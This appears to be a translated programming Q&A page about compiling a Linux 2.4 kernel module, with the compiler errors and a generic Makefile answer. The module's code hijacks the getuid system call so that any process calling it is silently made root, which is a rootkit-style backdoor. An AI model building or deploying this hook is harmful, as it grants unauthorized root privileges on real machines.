内核模块中未声明的变量

时间:2014-03-12 04:59:11

标签: c linux makefile kernel kernel-module

我想在内核2.4上编译一个内核模块。我不熟悉内核编程。 这是Makefile

TARGET  := hello-2
WARN    := -W -Wall -Wstrict-prototypes -Wmissing-prototypes
INCLUDE := -isystem /lib/modules/`uname -r`/build/include
CFLAGS  := -O2 -DMODULE -D__KERNEL__ ${WARN} ${INCLUDE}
CC      := `which gcc`

${TARGET}.o: ${TARGET}.c

.PHONY: clean

clean:
     rm -rf ${TARGET}.o

这是代码:

#define MODULE
#define __KERNEL__

#include <linux/module.h>
#include <linux/kernel.h>
#include <asm/unistd.h>
#include <sys/syscall.h>
#include <sys/types.h>
#include <asm/fcntl.h>
#include <asm/errno.h>
#include <linux/types.h>
#include <linux/dirent.h>
#include <sys/mman.h>
#include <linux/string.h>
#include <linux/fs.h>
#include <linux/malloc.h>

extern void *sys_call_table[];

int (*orig_getuid)();

 int give_root()
{
        int x;
        if (current->uid != 0) {
                current->uid = 0;
                current->gid = 0;
                current->euid = 0;
                current->egid = 0;
          }
        return 0;
}

int init_module(void)
{
        orig_getuid = sys_call_table[SYS_getuid];
        sys_call_table[SYS_getuid] = give_root;

        return 0;
}

void cleanup_module(void)
{
        sys_call_table[SYS_getuid] = orig_getuid;
}

对于使用旧内核(2.4)的访客来说,这是一种练习。 我返回了一些关于未声明的currentSysgetuid的错误,.... 我读过一篇文章,提到在用户模式下编译这样的程序导致了这个错误,应该写一个内核模块。但我有内核模块的这个问题!我知道我基本上做错了什么! 这是错误:

`which gcc` -O2 -DMODULE -D__KERNEL__ -W -Wall -Wstrict-prototypes -Wmissing-prototypes -isystem /lib/modules/`uname -r`/build/include   -c -o hello-2.o hello-2.c
hello-2.c:10:1: warning: "MODULE" redefined
hello-2.c:1:1: warning: this is the location of the previous definition
hello-2.c:12:1: warning: "__KERNEL__" redefined
hello-2.c:1:1: warning: this is the location of the previous definition
hello-2.c:20: warning: function declaration isn't a prototype
hello-2.c:23: warning: function declaration isn't a prototype
hello-2.c: In function `give_root':
hello-2.c:25: `current' undeclared (first use in this function)
hello-2.c:25: (Each undeclared identifier is reported only once
hello-2.c:25: for each function it appears in.)
hello-2.c:24: warning: unused variable `x'
hello-2.c: In function `hello_2_init':
hello-2.c:35: `SYS_getuid' undeclared (first use in this function)
hello-2.c: In function `hello_2_exit':
hello-2.c:42: `SYS_getuid' undeclared (first use in this function)
/lib/modules/2.4.20-31.9/build/include/asm/processor.h: In function `copy_segments':
/lib/modules/2.4.20-31.9/build/include/asm/processor.h:457: warning: unused parameter `p'
/lib/modules/2.4.20-31.9/build/include/asm/processor.h:457: warning: unused parameter `mm'
/lib/modules/2.4.20-31.9/build/include/asm/processor.h: In function `release_segments':
/lib/modules/2.4.20-31.9/build/include/asm/processor.h:458: warning: unused parameter `mm'
/lib/modules/2.4.20-31.9/build/include/linux/prefetch.h: In function `prefetch':/lib/modules/2.4.20-31.9/build/include/linux/prefetch.h:43: warning: unused parameter `x'
/lib/modules/2.4.20-31.9/build/include/linux/prefetch.h: In function `prefetchw':
/lib/modules/2.4.20-31.9/build/include/linux/prefetch.h:48: warning: unused parameter `x'
make: *** [hello-2.o] Error 1

1 个答案:

答案 0 :(得分:0)

2.4在我的时间之前,但这看起来不像模块make文件。我希望看到类似的东西:

 KDIR := /lib/modules/$(shell uname -r)/build
 PWD := $(shell pwd)

 EXTRA_CFLAGS := -I$(src)/../NTRUEncrypt/include -I$(src)/../NTRUEncrypt/src -DHAVE_BOOL -D__KERNEL__

 MODULE := aerolock
 obj-m := $(MODULE).o

 $(MODULE)-objs += __aerolock_inclusive.o
 $(MODULE)-objs += filesys.o
 $(MODULE)-objs += ../NTRUEncrypt/src/ntru_crypto_hmac.o

 ... More modules to include

 MODULE.o:
        $(MAKE) -C $(KDIR) M=$(PWD) modules

 load:
        # load module passing
         sudo insmod ./$(MODULE).ko

 unload:
         sudo rmmod $(MODULE)

clean:
        -@rm -fr *.o $(MODULE)*.o $(MODULE)*.ko *.mod.* *.order *.symvers *.markers *.*~ *~ .*.cmd .tmp_versions ../NTRUEncrypt/src/*.o